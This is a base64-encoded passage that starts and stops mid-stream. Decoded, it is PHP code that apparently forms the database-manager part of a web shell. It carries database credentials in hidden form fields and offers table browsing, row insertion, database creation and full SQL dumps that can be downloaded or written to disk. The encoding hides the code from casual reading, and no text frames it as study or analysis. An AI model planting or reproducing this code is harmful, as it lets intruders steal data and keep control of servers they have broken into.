ZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/
PiI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0i
PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+CiAgICAgICAgPGlu
cHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRt
bHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlk
ZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJz
KCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2
YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0iZHVtcF9maWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8g
ImR1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1Z
LUgtaS1zIikuIi5zcWwiOyA/PiI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT1cInN1Ym1pdFwi
IHZhbHVlPSJEdW1wIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3Rk
PjwvdHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUi
IGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90
YWJsZT4KICAgICAgICA8P3BocAogICAgICAgIGlmICghZW1wdHkoJHNxbF94KSkge2VjaG8gIjxo
ciBzaXplPVwiMVwiIG5vc2hhZGU+Ijt9CiAgICAgICAgaWYgKCRzcWxfeCA9PSAibmV3dGJsIikg
ewogICAgICAgICAgZWNobyAiPGI+IjsKICAgICAgICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgk
c3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7CiAgICAgICAgICAgIGVjaG8g
IkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVk
IHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7CiAgICAgICAgICB9CiAgICAgICAgICBlbHNlIHtlY2hv
ICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxi
cj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgICAgICAgfQogICAgICAgIGVs
c2VpZiAoJHNxbF94ID09ICJkdW1wIikgewogICAgICAgICAgaWYgKGVtcHR5KCRzdWJtaXQpKSB7
CiAgICAgICAgICAgICRkaXBsYXkgPSBGQUxTRTsKICAgICAgICAgICAgZWNobyAiPGZvcm0gbWV0
aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieFwiIHZhbHVlPVwic3Fs
XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3hcIiB2YWx1ZT1cImR1bXBcIj48
aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNp
YWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xv
Z2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0
eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxj
aGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9z
ZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1
dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFs
Y2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Ri
bFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGI+U1FMLUR1bXA6
PC9iPjxicj48YnI+IjsKICAgICAgICAgICAgZWNobyAiPGI+REI6PC9iPiA8aW5wdXQgdHlwZT1c
InRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkc3FsX2RiKS4iXCI+
PGJyPjxicj4iOwogICAgICAgICAgICAkdiA9IGpvaW4gKCI7IiwkZG1wdGJscyk7CiAgICAgICAg
ICAgIGVjaG8gIjxiPk9ubHkgdGFibGVzIChleHBsb2RlIFwiO1wiKSZuYnNwOzxiPjxzdXA+MTwv
c3VwPjwvYj46PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIg
dmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1
KS4iXCI+PGJyPjxicj4iOwogICAgICAgICAgICBpZiAoJGR1bXBfZmlsZSkgeyR0bXAgPSAkZHVt
cF9maWxlO30KICAgICAgICAgICAgZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVt
cF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1p
LXMiKS4iLnNxbCIpO30KICAgICAgICAgICAgZWNobyAiPGI+RmlsZTo8L2I+Jm5ic3A7PGlucHV0
IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kdW1wX2ZpbGVcIiB2YWx1ZT1cIiIuJHRtcC4iXCIg
c2l6ZT1cIiIuKHN0cmxlbigkdG1wKStzdHJsZW4oJHRtcCkgJSAzMCkuIlwiPjxicj48YnI+IjsK
ICAgICAgICAgICAgZWNobyAiPGI+RG93bmxvYWQ6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNo
ZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX2Rvd25sb2FkXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48
YnI+PGJyPiI7CiAgICAgICAgICAgIGVjaG8gIjxiPlNhdmUgdG8gZmlsZTogPC9iPiZuYnNwOzxp
bnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVl
PVwiMVwiIGNoZWNrZWQ+IjsKICAgICAgICAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1c
InN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkR1bXBcIj48YnI+PGJyPjxiPjxzdXA+
MTwvc3VwPjwvYj4gLSBhbGwsIGlmIGVtcHR5IjsKICAgICAgICAgICAgZWNobyAiPC9mb3JtPiI7
CiAgICAgICAgICB9CiAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJGRpcGxheSA9IFRSVUU7
CiAgICAgICAgICAgICRzZXQgPSBhcnJheSgpOwogICAgICAgICAgICAkc2V0WyJzb2NrIl0gPSAk
c3FsX3NvY2s7CiAgICAgICAgICAgICRzZXRbImRiIl0gPSAkc3FsX2RiOwogICAgICAgICAgICAk
ZHVtcF9vdXQgPSAiZG93bmxvYWQiOwogICAgICAgICAgICAkc2V0WyJwcmludCJdID0gMDsKICAg
ICAgICAgICAgJHNldFsibmwyYnIiXSA9IDA7CiAgICAgICAgICAgICRzZXRbIiJdID0gMDsKICAg
ICAgICAgICAgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsKICAgICAgICAgICAgJHNldFsiYWRk
X2Ryb3AiXSA9IFRSVUU7CiAgICAgICAgICAgICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOwog
ICAgICAgICAgICBpZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBs
b2RlKCI7IiwkZG1wdGJscyk7fQogICAgICAgICAgICAkcmV0ID0gbXlzcWxfZHVtcCgkc2V0KTsK
ICAgICAgICAgICAgaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkgewogICAgICAgICAgICAgIEBvYl9j
bGVhbigpOwogICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9v
Y3RldC1zdHJlYW0iKTsKICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0
cmxlbigkcmV0KSk7CiAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBh
dHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsK
ICAgICAgICAgICAgICBlY2hvICRyZXQ7CiAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAg
fQogICAgICAgICAgICBlbHNlaWYgKCRzcWxfZHVtcF9zYXZldG9maWxlKSB7CiAgICAgICAgICAg
ICAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsKICAgICAgICAgICAgICBpZiAoISRm
cCkge2VjaG8gIjxiPkR1bXAgZXJyb3IhIENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNo
YXJzKCRzcWxfZHVtcF9maWxlKS4iXCIhIjt9CiAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAg
ICAgICAgICBmd3JpdGUoJGZwLCRyZXQpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAg
ICAgICAgICAgICAgICBlY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3JpdGVkIHRvIFwi
Ii5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwiICgiLnZpZXdf
c2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOwogICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHtlY2hvICI8Yj5EdW1wOiBub3RoaW5nIHRv
IGRvITwvYj4iO30KICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCRkaXBsYXkpIHsK
ICAgIGlmICghZW1wdHkoJHNxbF90YmwpKSB7CiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF94KSkg
eyRzcWxfdGJsX3ggPSAiYnJvd3NlIjt9CiAgICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxF
Q1QgQ09VTlQoKikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsKICAgICAgJGNvdW50X3JvdyA9IG15
c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7CiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7
CiAgICAgICR0Ymxfc3RydWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIEZJRUxEUyBGUk9N
IGAiLiRzcWxfdGJsLiJgOyIpOwogICAgICAkdGJsX3N0cnVjdF9maWVsZHMgPSBhcnJheSgpOwog
ICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCR0Ymxfc3RydWN0X3Jlc3VsdCkp
IHskdGJsX3N0cnVjdF9maWVsZHNbXSA9ICRyb3c7fQogICAgICBpZiAoJHNxbF9scyA+ICRzcWxf
bGUpIHskc3FsX2xlID0gJHNxbF9scyArICRwZXJwYWdlO30KICAgICAgaWYgKGVtcHR5KCRzcWxf
dGJsX3BhZ2UpKSB7JHNxbF90YmxfcGFnZSA9IDA7fQogICAgICBpZiAoZW1wdHkoJHNxbF90Ymxf
bHMpKSB7JHNxbF90YmxfbHMgPSAwO30KICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRz
cWxfdGJsX2xlID0gMzA7fQogICAgICAkcGVycGFnZSA9ICRzcWxfdGJsX2xlIC0gJHNxbF90Ymxf
bHM7CiAgICAgIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHskcGVycGFnZSA9IDEwO30KICAg
ICAgJG51bXBhZ2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsKICAgICAgJGUgPSBleHBsb2Rl
KCIgIiwkc3FsX29yZGVyKTsKICAgICAgaWYgKGNvdW50KCRlKSA9PSAyKSB7CiAgICAgICAgaWYg
KCRlWzBdID09ICJkIikgeyRhc2NfZGVzYyA9ICJERVNDIjt9CiAgICAgICAgZWxzZSB7JGFzY19k
ZXNjID0gIkFTQyI7fQogICAgICAgICR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19k
ZXNjLiIgIjsKICAgICAgfQogICAgICBlbHNlIHskdiA9ICIiO30KICAgICAgJHF1ZXJ5ID0gIlNF
TEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwg
Ii4kcGVycGFnZS4iIjsKICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJp
bnQobXlzcWxfc21hcnRlcnJvcigpKTsKICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFk
ZT48Y2VudGVyPjxiPlRhYmxlICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIiAoIi5teXNx
bF9udW1fZmllbGRzKCRyZXN1bHQpLiIgY29scyBhbmQgIi4kY291bnRfcm93WzBdLiIgcm93cyk8
L2I+PC9jZW50ZXI+IjsKICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJs
PSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfeD1zdHJ1Y3R1cmVcIj5bPGI+IFN0cnVj
dHVyZSA8L2I+XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgICBlY2hvICI8YSBocmVmPVwi
Ii4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PWJy
b3dzZVwiPls8Yj4gQnJvd3NlIDwvYj5dPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICAgIGVj
aG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCku
IiZzcWxfeD10YmxkdW1wJnRoaXN0Ymw9MVwiPls8Yj4gRHVtcCA8L2I+XTwvYT4mbmJzcDsmbmJz
cDsmbmJzcDsiOwogICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51
cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PWluc2VydFwiPlsmbmJzcDs8Yj5JbnNlcnQ8
L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgICBpZiAoJHNxbF90YmxfeCA9
PSAic3RydWN0dXJlIikge2VjaG8gIjxicj48YnI+PGI+Q29taW5nIHNvb29uITwvYj4iO30KICAg
ICAgaWYgKCRzcWxfdGJsX3ggPT0gImluc2VydCIpIHsKICAgICAgICBpZiAoIWlzX2FycmF5KCRz
cWxfdGJsX2luc2VydCkpIHskc3FsX3RibF9pbnNlcnQgPSBhcnJheSgpO30KICAgICAgICBpZiAo
IWVtcHR5KCRzcWxfdGJsX2luc2VydF9yYWRpbykpIHsgIH0gLy9Ob3QgUmVhZHkKICAgICAgICBl
bHNlIHsKICAgICAgICAgIGVjaG8gIjxicj48YnI+PGI+SW5zZXJ0aW5nIHJvdyBpbnRvIHRhYmxl
OjwvYj48YnI+IjsKICAgICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7CiAg
ICAgICAgICAgICRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCI7CiAg
ICAgICAgICAgICRzcWxfcXVlcnkgLj0gIiBXSEVSRSIuJHNxbF90YmxfaW5zZXJ0X3E7CiAgICAg
ICAgICAgICRzcWxfcXVlcnkgLj0gIiBMSU1JVCAxOyI7CiAgICAgICAgICAgICRyZXN1bHQgPSBt
eXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jaykgb3IgcHJpbnQoIjxicj48YnI+Ii5teXNx
bF9zbWFydGVycm9yKCkpOwogICAgICAgICAgICAkdmFsdWVzID0gbXlzcWxfZmV0Y2hfYXNzb2Mo
JHJlc3VsdCk7CiAgICAgICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgICAg
ICAgfQogICAgICAgICAgZWxzZSB7JHZhbHVlcyA9IGFycmF5KCk7fQogICAgICAgICAgZWNobyAi
PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjx0YWJsZSB3aWR0aD1cIjElXCIgYm9yZGVyPTE+PHRyPjx0
ZD48Yj5GaWVsZDwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkZ1bmN0aW9uPC9i
PjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOwogICAgICAgICAgZm9yZWFjaCAoJHRi
bF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkgewogICAgICAgICAgICAkbmFtZSA9ICRmaWVsZFsi
RmllbGQiXTsKICAgICAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0g
IiI7fQogICAgICAgICAgICBlY2hvICI8dHI+PHRkPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkbmFt
ZSkuIjwvYj48L3RkPjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9
XCJzcWxfdGJsX2luc2VydF9mdW5jdHNbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiPjxv
cHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj48b3B0aW9uPlBBU1NXT1JEPC9vcHRpb24+PG9wdGlv
bj5NRDU8L29wdGlvbj48b3B0aW9uPkVOQ1JZUFQ8L29wdGlvbj48b3B0aW9uPkFTQ0lJPC9vcHRp
b24+PG9wdGlvbj5DSEFSPC9vcHRpb24+PG9wdGlvbj5SQU5EPC9vcHRpb24+PG9wdGlvbj5MQVNU
X0lOU0VSVF9JRDwvb3B0aW9uPjxvcHRpb24+Q09VTlQ8L29wdGlvbj48b3B0aW9uPkFWRzwvb3B0
aW9uPjxvcHRpb24+U1VNPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIlwiPi0tLS0tLS0tPC9vcHRp
b24+PG9wdGlvbj5TT1VOREVYPC9vcHRpb24+PG9wdGlvbj5MQ0FTRTwvb3B0aW9uPjxvcHRpb24+
VUNBU0U8L29wdGlvbj48b3B0aW9uPk5PVzwvb3B0aW9uPjxvcHRpb24+Q1VSREFURTwvb3B0aW9u
PjxvcHRpb24+Q1VSVElNRTwvb3B0aW9uPjxvcHRpb24+RlJPTV9EQVlTPC9vcHRpb24+PG9wdGlv
bj5GUk9NX1VOSVhUSU1FPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfQUREPC9vcHRpb24+PG9wdGlv
bj5QRVJJT0RfRElGRjwvb3B0aW9uPjxvcHRpb24+VE9fREFZUzwvb3B0aW9uPjxvcHRpb24+VU5J
WF9USU1FU1RBTVA8L29wdGlvbj48b3B0aW9uPlVTRVI8L29wdGlvbj48b3B0aW9uPldFRUtEQVk8
L29wdGlvbj48b3B0aW9uPkNPTkNBVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0
eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2luc2VydFsiLmh0bWxzcGVjaWFsY2hhcnMoJG5h
bWUpLiJdXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlc1skbmFtZV0pLiJcIiBz
aXplPTUwPjwvdGQ+PC90cj4iOwogICAgICAgICAgICAkaSsrOwogICAgICAgICAgfQogICAgICAg
ICAgZWNobyAiPC90YWJsZT48YnI+IjsKICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPVwicmFk
aW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7IGlmIChlbXB0
eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PGI+SW5zZXJ0
IGFzIG5ldyByb3c8L2I+IjsKICAgICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3Ep
KSB7ZWNobyAiIG9yIDxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRf
cmFkaW9cIiB2YWx1ZT1cIjJcIiBjaGVja2VkPjxiPlNhdmU8L2I+IjsgZWNobyAiPGlucHV0IHR5
cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcVwiIHZhbHVlPVwiIi5odG1sc3Bl
Y2lhbGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKS4iXCI+Ijt9CiAgICAgICAgICBlY2hvICI8YnI+
PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPiI7CiAg
ICAgICAgfQogICAgICB9CiAgICAgIGlmICgkc3FsX3RibF94ID09ICJicm93c2UiKSB7CiAgICAg
ICAgJHNxbF90YmxfbHMgPSBhYnMoJHNxbF90YmxfbHMpOwogICAgICAgICRzcWxfdGJsX2xlID0g
YWJzKCRzcWxfdGJsX2xlKTsKICAgICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7
CiAgICAgICAgZWNobyAiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9bXVsdGlwYWdlXCIg
aGVpZ2h0PVwiMTJcIiB3aWR0aD1cIjEwXCIgYWx0PVwiUGFnZXNcIj4mbmJzcDsiOwogICAgICAg
ICRiID0gMDsKICAgICAgICBmb3IoJGk9MDskaTwkbnVtcGFnZXM7JGkrKykgewogICAgICAgICAg
aWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdl
ICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0i
LnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxf
b3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRw
ZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9CiAgICAgICAgICBlY2hvICRpOwogICAgICAgICAg
aWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdl
ICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjwvdT48L2E+Ijt9CiAgICAgICAgICBpZiAoKCRpLzMw
ID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQogICAgICAgICAg
ZWxzZSB7ZWNobyAiJm5ic3A7Ijt9CiAgICAgICAgfQogICAgICAgIGlmICgkaSA9PSAwKSB7ZWNo
byAiZW1wdHkiO30KICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlw
ZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRl
blwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4i
XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0
bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFt
ZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCku
IlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIu
aHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIg
bmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4i
XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1s
c3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwi
c3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiPjxi
PkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xzXCIg
dmFsdWU9XCIiLiRzcWxfdGJsX2xzLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5
cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwi
PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPiI7CiAg
ICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9
MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMSVcIiBiZ2Nv
bG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPiI7CiAgICAgICAg
ZWNobyAiPHRyPiI7CiAgICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBu
YW1lPVwiYm94cm93X2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+IjsKICAgICAgICBmb3IgKCRpPTA7
JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSB7CiAgICAgICAgICAkdiA9IG15c3Fs
X2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7CiAgICAgICAgICBpZiAoJGVbMF0gPT0gImEiKSB7JHMg
PSAiZCI7ICRtID0gImFzYyI7fQogICAgICAgICAgZWxzZSB7JHMgPSAiYSI7ICRtID0gImRlc2Mi
O30KICAgICAgICAgIGVjaG8gIjx0ZD4iOwogICAgICAgICAgaWYgKGVtcHR5KCRlWzBdKSkgeyRl
WzBdID0gImEiO30KICAgICAgICAgIGlmICgkZVsxXSAhPSAkdikge2VjaG8gIjxhIGhyZWY9XCIi
LiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xl
LiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJGVbMF0uIiUyMCIuJHYu
IlwiPjxiPiIuJHYuIjwvYj48L2E+Ijt9CiAgICAgICAgICBlbHNlIHtlY2hvICI8Yj4iLiR2LiI8
L2I+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xl
PSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4k
cy4iJTIwIi4kdi4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF8iLiRtLiJc
IiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30KICAgICAg
ICAgIGVjaG8gIjwvdGQ+IjsKICAgICAgICB9CiAgICAgIGVjaG8gIjx0ZD48Zm9udCBjb2xvcj1c
